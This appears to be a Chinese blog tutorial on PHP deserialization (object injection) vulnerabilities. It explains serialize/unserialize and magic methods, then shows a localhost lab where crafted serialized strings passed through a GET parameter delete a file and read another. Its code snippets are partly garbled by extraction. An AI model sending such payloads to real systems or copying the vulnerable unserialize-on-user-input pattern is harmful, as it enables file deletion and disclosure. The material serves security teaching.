PHP反序列化漏洞

php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险。为了理解这个漏洞,请读者具备基础的php知识。类和变量是非常容易理解的php概念。
这里先来了解一下什么是php序列化与反序列化?

序列化:

函数 : serialize()
把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

反序列化:

函数: unserialize()
恢复原先被序列化的变量

首先了解一下php中的魔术方法:
php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

__construct   当一个对象创建时被调用,
__destruct   当一个对象销毁时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发
variable . '
'; } // Constructor public function __construct() { echo '__construct
'; } // Destructor public function __destruct() { echo '__destruct
'; } // Call public function __toString() { return '__toString
'; } } // 创建一个对象 // __construct会被调用 $object = new TestClass(); // 创建一个方法 $object->PrintVariable(); // 对象被当作一个字符串 // __toString会被调用 echo $object; // End of PHP script // 脚本结束__destruct会被调用 ?>
PHP反序列化漏洞_第1张图片
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php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。让我们看看php对象序列化之后的格式。

1.2 PHP序列化格式:

O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

1.3 类型字母详解:

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

例如:

name . ' is ' . $this->age  
             . ' years old. 
'; } } // 创建一个对象 $usr = new User(); // 设置数据 $usr->age = 20; $usr->name = 'John'; // 输出数据 $usr->PrintData(); // 输出序列化之后的数据 echo serialize($usr); ?>
PHP反序列化漏洞_第2张图片
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User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
当$name为public型的时候可以看到name为4字节输出
name . ' is ' . $this->age  
             . ' years old. 
'; } } // 创建一个对象 $usr = new User(); // 设置数据 $usr->age = 20; //$usr->name = 'John'; // 输出数据 $usr->PrintData(); // 输出序列化之后的数据 echo serialize($usr); ?>
User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:10:"Username";s:4:"John";}
$name为private类型时,发现10字节username
User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:7:"*name";s:4:"John";}
$name为protected类型时输出

发现个问题,为什么私有的,受保护的$name上都多了两个字节呢?

Ps:对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上*。这些前缀值在任一侧都有空字节

反序列化:
为了使用上面这个对象,用unserialize重建对象。

    name . ' is ' . $this->age . ' years old. 
'; } } // 重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); // 调用PrintData 输出数据 $usr->PrintData(); ?>
PHP反序列化漏洞_第3张图片
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magic函数__construct和__destruct会在对象创建或者销毁时自动调用;__sleep magic方法在一个对象被序列化的时候调用;__wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

variable . '
'; } public function __construct() { echo '__construct
'; } public function __destruct() { echo '__destruct
'; } public function __wakeup() { echo '__wakeup
'; } public function __sleep() { echo '__sleep
'; return array('variable', 'variable2'); } } 创建对象调用__construct $obj = new Test(); 序列化对象调用__sleep $serialized = serialize($obj); 输出序列化后的字符串 print 'Serialized: ' . $serialized . '
'; 重建对象调用__wakeup $obj2 = unserialize($serialized); 调用PintVariable输出数据 $obj2->PrintVariable(); 脚本结束调用__destruct ?>
PHP反序列化漏洞_第4张图片
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序列化public private protect参数产生不同结果


test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

php反序列化漏洞

现在我们了解序列化是如何工作的,但是我们如何利用它呢?有多种可能的方法,取决于应用程序、可用的类和magic函数。记住,序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类,这些函数会影响Web应用程序。例如,我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。

    ';  
            file_put_contents($this->filename, $text, FILE_APPEND);  
        }  
       
        // 删除日志文件  
       
        public function __destruct()  
        {  
            echo '__destruct deletes "' . $this->filename . '" file. 
'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>

这是一个使用它的例子。

filename = 'somefile.log';  
$obj->LogData('Test');  
   
// 脚本结束__destruct被调用somefile.log文件被删除
   
?> 

在其它脚本中我们可能找到一个unserialize的调用,并且参数是用户提供的。把下面这段代码保存为test.php。

name . ' is ' . $this->age . ' years old. 
'; } } // 重建用户输入的数据 $usr = unserialize($_GET['usr_serialized']); ?>
PHP反序列化漏洞_第5张图片
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现在是可以打开aa.php的
通过下面代码进行删除aa.php

创建利用代码111.php。

    filename = 'aa.php';  
       
    echo serialize($obj) . '
'; ?>

访问111.php


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可以看到序列化后的字符串
然后访问http://127.0.0.1/myphp/Test.php?usr_serialized=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:6:%22aa.php%22;}

PHP反序列化漏洞_第7张图片
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发现已删除aa.php,检查一下


PHP反序列化漏洞_第8张图片
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这时找不到aa.php了,说明已被删除

这就是漏洞名称的由来:在变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其它坑爹的行为。先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许__toString读取某个文件。把下面这段代码保存为TT.php。

    filename);  
        }  
    }  
       
    // Main User class  
       
    class User  
    {  
        // Class data  
       
        public $age = 0;  
        public $name = '';  
       
        // 允许对象作为一个字符串输出上面的data  
       
        public function __toString()  
        {  
            return 'User ' . $this->name . ' is ' . $this->age . ' years old. 
'; } } // 用户可控 $obj = unserialize($_GET['usr_serialized']); // 输出__toString echo $obj; ?>

访问http://127.0.0.1/myphp/TT.php?usr_serialized=O:4:%22User%22:2:{s:3:%22age%22;i:20;s:4:%22name%22;s:4:%22John%22;}

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但是如果我们用序列化调用FileClass呢?先建立一个1.txt。

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创建利用代码a_1.php。

filename = '1.txt';  
   
echo serialize($fileobj);  
   
?> 

访问http://127.0.0.1/myphp/a_1.php

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访问 http://127.0.0.1/myphp/TT.php?usr_serialized=O:9:%22FileClass%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}

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成功显示了文本内容。也可以使用其他magic函数:如果对象将调用一个不存在的函数__call将被调用;如果对象试图访问不存在的类变量__get和__set将被调用。但是利用这种漏洞并不局限于magic函数,在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据,但是其他类可能定义一个从数据库获取数据的get方法,这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件,可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类,但是一些框架或脚本具有自动加载的功能。最大的问题在于人:理解应用程序以能够利用这种类型的漏洞,因为它可能需要大量的时间来阅读和理解代码。

漏洞的前提:

1)unserialize函数的变量可控
2)php文件中存在可利用的类,类中有魔术方法

利用场景在ctf、代码审计中常见,黑盒测试要通过检查cookie等有没有序列化的值来查看。

防御方法主要有对参数进行处理、换用更安全的函数。
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